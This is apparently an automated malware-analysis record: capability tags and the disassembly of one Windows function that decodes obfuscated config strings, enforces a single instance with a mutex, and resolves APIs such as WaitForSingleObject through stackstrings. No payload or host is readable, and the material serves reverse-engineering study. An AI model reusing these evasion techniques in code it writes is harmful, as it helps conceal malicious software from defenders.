Function at 0x40ae64
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4094d2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0xa158
call fcn.004090b0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
push str.ERIXHhAeEB4RIA
call fcn.00402843
add esp, 4
mov dword [0x42b1b0], eax
push str.FRUQEBYXFhUUIA
call fcn.00402843
add esp, 4
mov dword [0x42b1b4], eax
push 0x410510
call fcn.00402843
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [0x42b2bc], eax
push str.KSkpIA
call fcn.00402843
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [0x42b2c0], eax
mov ecx, dword [0x42b1b0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x40af1a
mov dword [0x42b1b8], 1
mov edx, dword [0x42b1b4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x40af35
mov dword [0x42b1b8], 0
mov dword [ebp - 0x88], 0
push 0x410510
call fcn.00402843
add esp, 4
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
je 0x40af7b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40af7b
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push str.GetTickCount
push 0x410e14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push str.OpenEventA
push 0x410e30
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x144]
call fcn.00401710
mov dword [ebp - 4], 0
mov byte [ebp - 0x14c], 0
mov eax, 1
test eax, eax
je 0x40b46c
mov ecx, dword [ebp - 0x14c]
and ecx, 0xff
test ecx, ecx
je 0x40b05e
mov edx, dword [ebp - 0x14c]
and edx, 0xff
cmp edx, 3
je 0x40b05e
mov dword [ebp - 0xa0c0], 0
jmp 0x40b011
mov eax, dword [ebp - 0xa0c0]
add eax, 1
mov dword [ebp - 0xa0c0], eax
cmp dword [ebp - 0xa0c0], 3
jge 0x40b05e
lea ecx, [ebp - 0x84]
push ecx
push 0
push 0x1f0003
call dword [ebp - 0x20]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x40b054
lea ecx, [ebp - 0x144]
call fcn.004020e7
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b05e
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b002
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x150], eax
cmp dword [0x42b1b8], 0
jne 0x40b08a
mov eax, dword [0x42b1b0]
mov dword [ebp - 0x1c], eax
mov dword [0x42b1ac], 0
jmp 0x40b188
cmp dword [0x42b1b8], 1
jne 0x40b188
mov byte [ebp - 0xa144], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0xa143]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0xa144]
mov dword [ebp - 0xa0c4], ecx
push str.FRUQEBYXFhUUIA
call fcn.00402843
add esp, 4
push eax
call fcn.0040ac17
add esp, 4
mov dword [ebp - 0xa0c4], eax
mov edx, dword [ebp - 0xa0c4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40b172
mov eax, dword [ebp - 0xa0c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp - 0xa0c4]
push ecx
call fcn.0040ae2e
add esp, 8
mov dword [ebp - 0xa148], 0
jmp 0x40b125
mov edx, dword [ebp - 0xa148]
add edx, 1
mov dword [ebp - 0xa148], edx
mov eax, dword [ebp - 0xa0c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0xa148], eax
jge 0x40b167
mov ecx, dword [ebp - 0xa0c4]
add ecx, dword [ebp - 0xa148]
movsx edx, byte [ecx]
cmp edx, 0x20
jne 0x40b165
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xa0c4]
add eax, dword [ebp - 0xa148]
mov byte [eax], 0
jmp 0x40b116
mov ecx, dword [ebp - 0xa0c4]
mov dword [ebp - 0x18], ecx
jmp 0x40b17e
mov byte [ebp - 0x14c], 2
jmp 0x40afc8
mov dword [0x42b1ac], 1
mov byte [ebp - 4], 1
mov edx, 1
test edx, edx
je 0x40b1b0
mov dword [ebp - 0xa164], 0x55
push 0x40e8a8
lea eax, [ebp - 0xa164]
push eax
call sub.MSVCRT.dll__CxxThrowException
jmp 0x40b20b
mov dword [ebp - 4], 0
mov dword [ebp - 0xa0bc], 0xffffffff
push str.Fx4TIA
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x150]
push eax
lea edx, [ebp - 0x144]
push edx
push 0
call fcn.004032b1
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x42b1b8]
mov ecx, dword [eax*4 + 0x42b2bc]
push ecx
mov edx, dword [0x42b1b8]
mov eax, dword [ebp + edx*4 - 0x1c]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x144]
push edx
lea ecx, [ebp - 0xa0b4]
call fcn.00405143
mov byte [ebp - 4], 3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xa0b4]
push eax
lea ecx, [ebp - 0x144]
call fcn.0040239a
mov dword [ebp - 0x154], 0
jmp 0x40b2b1
mov ecx, dword [ebp - 0x154]
add ecx, 1
mov dword [ebp - 0x154], ecx
cmp dword [ebp - 0x154], 0xa
jge 0x40b2db
lea ecx, [ebp - 0xa0b4]
call fcn.00406137
and eax, 0xff
test eax, eax
jne 0x40b2db
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b2a2
lea ecx, [ebp - 0xa0b4]
call fcn.00406137
and eax, 0xff
test eax, eax
jne 0x40b322
cmp dword [0x42b1b8], 0
jne 0x40b304
mov dword [0x42b1b8], 1
jmp 0x40b30e
mov dword [0x42b1b8], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa0b4]
call fcn.004051f7
jmp 0x40afc8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x150], eax
lea edx, [ebp - 0x84]
push edx
push 0
push 0x1f0003
call dword [ebp - 0x20]
mov dword [ebp - 0x88], eax
mov byte [ebp - 0xa15c], 0x57
mov byte [ebp - 0xa15b], 0x61
mov byte [ebp - 0xa15a], 0x69
mov byte [ebp - 0xa159], 0x74
mov byte [ebp - 0xa158], 0x46
mov byte [ebp - 0xa157], 0x6f
mov byte [ebp - 0xa156], 0x72
mov byte [ebp - 0xa155], 0x53
mov byte [ebp - 0xa154], 0x69
mov byte [ebp - 0xa153], 0x6e
mov byte [ebp - 0xa152], 0x67
mov byte [ebp - 0xa151], 0x6c
mov byte [ebp - 0xa150], 0x65
mov byte [ebp - 0xa14f], 0x4f
mov byte [ebp - 0xa14e], 0x62
mov byte [ebp - 0xa14d], 0x6a
mov byte [ebp - 0xa14c], 0x65
mov byte [ebp - 0xa14b], 0x63
mov byte [ebp - 0xa14a], 0x74
mov byte [ebp - 0xa149], 0
lea eax, [ebp - 0xa15c]
push eax
push 0x410e40
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa160], eax
push 0x64
mov ecx, dword [ebp - 0x98]
push ecx
call dword [ebp - 0xa160]
mov dword [ebp - 0xa0b8], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x88], 0
jne 0x40b426
cmp dword [ebp - 0xa0b8], 0
jne 0x40b32e
cmp dword [ebp - 0x88], 0
je 0x40b458
lea ecx, [ebp - 0x144]
call fcn.004020e7
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa0b4]
call fcn.004051f7
jmp 0x40b46c
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa0b4]
call fcn.004051f7
jmp 0x40afc8
mov dword [ebp - 0xa168], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.004018ed
mov eax, dword [ebp - 0xa168]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret